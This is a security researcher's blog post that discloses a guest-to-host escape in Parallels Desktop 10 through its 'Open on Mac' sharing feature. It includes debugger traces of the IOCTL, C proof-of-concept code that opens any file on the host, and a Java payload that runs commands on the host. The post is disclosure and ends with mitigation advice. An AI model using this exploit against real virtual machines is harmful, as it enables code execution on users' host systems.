Thursday, November 13, 2014

Simple guest to host VM escape for Parallels Desktop

First post in this blog that written in english, please be patient with my awful language skills.

This is a little story about exploiting guest to host VM escape not-a-vulnerability in Parallels Desktop 10 for Mac. Discovered attack is not about some serious hardcore stuff like hypervisor bugs or low-level vulnerabilities in guest-host communication interfaces, it can be easily performed even by very lame Windows malware if your virtual machine has insecure settings.


It always was obvious to me, that rich features for communicating with the guest operating systems (almost any modern desktop virtualisation software has them) might be dangerous. Recently I finally decided to check, how exactly they can be dangerous on example of the virtualisation software that I'm using on OS X (and millions of other users too). It's a nice product and I think that currently it has a much less attention of security researchers than it actually deserving.

Parallels Desktop 10 virtual machines has a lot of user-friendly capabilities for making guest operating system highly integrated with the host, and most of such options are enabled by default.
Let's talk about one of them:

Parallels Desktop 10 VM options

There is "Access Windows folder from Mac" option that looks pretty innocent (please note, that all other sharing options are off). This option is enabled by default for all of the virtual machines as well, and here is the description of this option from Parallels Desktop 10 for Mac User's Guide:

Access a Windows Folder or File from a Mac OS X Application

By default, you can navigate to all your Windows folders and files from Mac OS X. Windows disks are mounted to /Volumes. At the same time, Windows appears as a hard disk mounted on the Mac OS X desktop.

Note: The Windows disk disappears from the desktop and the Finder, but you can still access all of the Windows files and folders via the Windows PVM file and Terminal (/Volumes). By default, the PVM file is either in /Users/<Username>/Documents/Parallels/ or /Users/Shared. You can also find the PVM file by right-clicking Windows in Parallels Desktop Control Center (or in the virtual machine window when Windows is shut down) and selecting Show in Finder. To access Windows files and folders, right-click the PVM file, select Show Package Contents from the context menu, and open the Windows Disks folder. To disable the ability to navigate to Windows files and folders, deselect Access Windows folders from Mac in step 3 above.

Well, just a guest file system sharing, you'll say, what could possibly go wrong? Unfortunately, a lot.

After enabling this option you also can notice, that in context menu of Windows Explorer presents a very interesting "Open on Mac" shortcut:

Looks promising, right? Technically this option asking the piece of Parallels software that working on the host side to do the thing, that equivalent to double-clicking on a target file in Finder.

Guest-side part of this option is implemented as PrlToolsShellExt.dll shell extension (MD5 sum of DLL with version on my Windows 8.1 x64 guest is 97D15FB584C589FA297434E08CD0252F). Menu item click handler is located at function sub_180005834() and after some pre-processing of input values it sends IOCTL request to the device \Device\prl_tg that aims to one of the Paralles kernel mode drivers (prl_tg.sys):

After the breakpoint on this DeviceIoControl() call we will obtain a call stack backatrace and function arguments:
0:037> k L7
Child-SP          RetAddr           Call Site
00000000`12bcd1c0 00007ff9`2a016969 PrlToolsShellExt!DllUnregisterServer+0x1596
00000000`12bcd310 00007ff9`2a01fd71 SHELL32!Ordinal93+0x225
00000000`12bcd410 00007ff9`2a4cf03a SHELL32!SHCreateDefaultContextMenu+0x581
00000000`12bcd780 00007ff9`2a4cc4b1 SHELL32!Ordinal927+0x156c2
00000000`12bcdaf0 00007ff9`2a4c76f7 SHELL32!Ordinal927+0x12b39
00000000`12bcded0 00007ff9`21d09944 SHELL32!Ordinal927+0xdd7f
00000000`12bcdf20 00007ff9`21d059d3 explorerframe!UIItemsView::ShowContextMenu+0x298

First 4 arguments of the DeviceIoControl(), rcx - device handle, r8 - input buffer, r9 - buffer length:
0:037> r
rax=0000000012bcd240 rbx=0000000000000000 rcx=0000000000000d74
rdx=000000000022a004 rsi=0000000000000001 rdi=0000000000000070
rip=00007ff918bd5b92 rsp=0000000012bcd1c0 rbp=000000000022a004
r8=0000000012bcd240  r9=0000000000000070 r10=000000001a5bc990
r11=000000001a5bd110 r12=0000000000000002 r13=0000000012bcd490
r14=0000000012bcd4a0 r15=0000000016af90f0

Last 4 arguments of the DeviceIoControl() that was passed over the stack:
0:037> dq rsp L4
00000000`12bcd1c0  00000000`00000000 00000000`02bdc218
00000000`12bcd1d0  00000000`00000001 00000000`00ce2480

IOCTL request input buffer:
0:037> dq @r8
00000000`12bcd240  ffffffff`00008321 00000000`00010050
00000000`12bcd250  00000000`00000001 00000000`00000002
00000000`12bcd260  00000000`00000002 00000000`00000000
00000000`12bcd270  00000000`00000000 00000000`00000000
00000000`12bcd280  00000000`00000000 00000000`00000000
00000000`12bcd290  00000000`00000000 00000000`00000000
00000000`12bcd2a0  00000000`02c787d0 00000000`0000003c

It consists from several magic values and pointer to the ASCII string with the target file path at 0x60 offset:
0:037> da poi(@r8+60)
00000000`02c787d0  "\\psf\TC\dev\_exploits\prl_guet_"
00000000`02c787f0  "to_host\New Text Document.txt"

After sending this IOCTL control request to the driver, specified file will be opened at the host side. It's also interesting and useful, that this action can be triggered from Windows user account with any privileges (including Guest):

\Device\prl_tg security permissions

And because the target file will be opened at the host side with privileges of the current OS X user, it seems that "Access Windows folder from Mac" option is definitely breaks a security model that you're usually expecting from guest-host interaction.


The following function was implemented after the short reverse engineering of shell extension. It interacting with the Parallels kernel driver and executing specified file at the host side:
void OpenFileAtTheHostSide(char *lpszFilePath)
    HANDLE hDev = NULL;

    // get handle to the target device    
    if (OpenDevice(L"\\Device\\prl_tg", &hDev))
        PDWORD64 RequestData = (PDWORD64)LocalAlloc(LMEM_FIXED, 0x70);
        if (RequestData)
            IO_STATUS_BLOCK StatusBlock;          

            ZeroMemory(RequestData, 0x70);

                Fill IOCTL request input buffer.
                It has the same layout on x86 and x64 versions of Windows
            RequestData[0x0] = 0xffffffff00008321; // magic values
            RequestData[0x1] = 0x0000000000010050;
            RequestData[0x2] = 0x0000000000000001;
            RequestData[0x3] = 0x0000000000000002;
            RequestData[0x4] = 0x0000000000000002;
            RequestData[0xc] = (DWORD64)lpszFilePath; // file path and it's length
            RequestData[0xd] = (DWORD64)strlen(lpszFilePath) + 1;

            NTSTATUS ns = NtDeviceIoControlFile(
                hDev, NULL, NULL, NULL, &StatusBlock,
                0x22a004, // IOCTL code
                RequestData, 0x70,
                RequestData, 0x70
            DbgMsg(__FILE__, __LINE__, "Device I/O control request status is 0x%.8x\n", ns);

            // ...



Now let's write some payload.
Unfortunately, we can't execute a shell script or AppleScript file in this way because such files will be opened in a text editor. But there's still a lot of other evil things that attacker can do with the ability of arbitrary file opening. For example, it's possible to write a Java .class that executes specified command and saves it's output to the guest file system (that usually mounted at /Volumes/<windows_letter>):
public static void main(String[] args) 
    // exeute command and get it's output
    StringBuilder output = new StringBuilder();
    if (exec(defaultCmd, output) == -1)
        output.append("Error while executing command");
    String volumesPath = "/Volumes";
    File folder = new File(volumesPath);

    // enumerate mounted volumes of Parallels guests
    for (File file : folder.listFiles()) 
        if (file.isDirectory()) 
            // try to save command output into the temp
            String outFile = volumesPath + "/" + 
                file.getName() + "/Windows/Temp/prl_host_out.txt";

                write(outFile, output.toString());
            catch (IOException e) { continue; }

Using this .class and OpenFileAtTheHostSide() function we can implement a usable command execution exploit:

Execution of commands using PoC

Full exploit code is available at GitHub:

Protection from this attack is pretty simple: disabling "Access Windows folder from Mac" option in virtual machine settings prevents the ability of opening files from the guest systems.
Also, you can enable "Isolate Windows from Mac" option that disables (in theory) all of the virtual machine sharing features:


  • It can be rather an incomplete documentation issue than vulnerability. It's absolutely not obvious for user, that guest file system sharing can lead to arbitrary code execution at the host side.
  • Exploit is very simple and reliable, works under all of the versions of Windows on guest machines, attack can be performed with the privileges of any Windows user that belongs to the Everyone security group. This issue is also relevant to other guest operating systems (like Linux and OS X), however, provided PoC was designed only for Windows. 
  • It will be good to disable sharing options of virtual machines, if such attack vector might be a critical for your threat model.
  • I think that It's very unlikely that Parallels will release any significant fixes or improvements for described mechanisms, because any reasonable fix will break the easy way of opening Windows documents on Mac.
  • I played a bit with only one sharing option, but who knows now many similar (or even worse) security issues are actually exists in Parallels, VMware and Oracle products.
PS: Have a good fun at ZeroNights, too bad that this year I'm missing it.